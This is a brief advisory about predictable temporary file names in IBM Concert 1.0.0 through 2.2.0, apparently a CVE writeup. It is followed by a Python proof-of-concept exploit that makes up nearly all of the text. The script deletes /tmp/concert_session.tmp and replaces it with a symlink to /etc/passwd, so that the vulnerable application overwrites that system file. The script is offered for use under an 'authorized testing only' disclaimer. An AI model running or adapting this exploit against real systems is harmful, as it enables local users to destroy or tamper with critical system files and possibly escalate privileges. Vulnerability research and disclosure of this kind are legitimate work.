IBM Concert 1.0.0 through 2.2.0 creates temporary files with predictable names, which allows local users to overwrite arbitrary files via a symlink attack.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
import os
import time
# Configuration
target_file = "/etc/passwd" # Target file to overwrite
predictable_temp = "/tmp/concert_session.tmp" # Predictable temp file name
print(f"[*] Attempting to create symlink: {predictable_temp} -> {target_file}")
try:
# Remove existing link/file if present to avoid errors
if os.path.lexists(predictable_temp):
os.remove(predictable_temp)
# Create the symbolic link
os.symlink(target_file, predictable_temp)
print(f"[+] Symlink created successfully.")
print("[*] Waiting for the vulnerable application to write to the temp file...")
# In a real attack, this would wait for the specific trigger or loop
time.sleep(10)
print("[*] Check if the target file has been modified.")
except Exception as e:
print(f"[-] Error: {e}")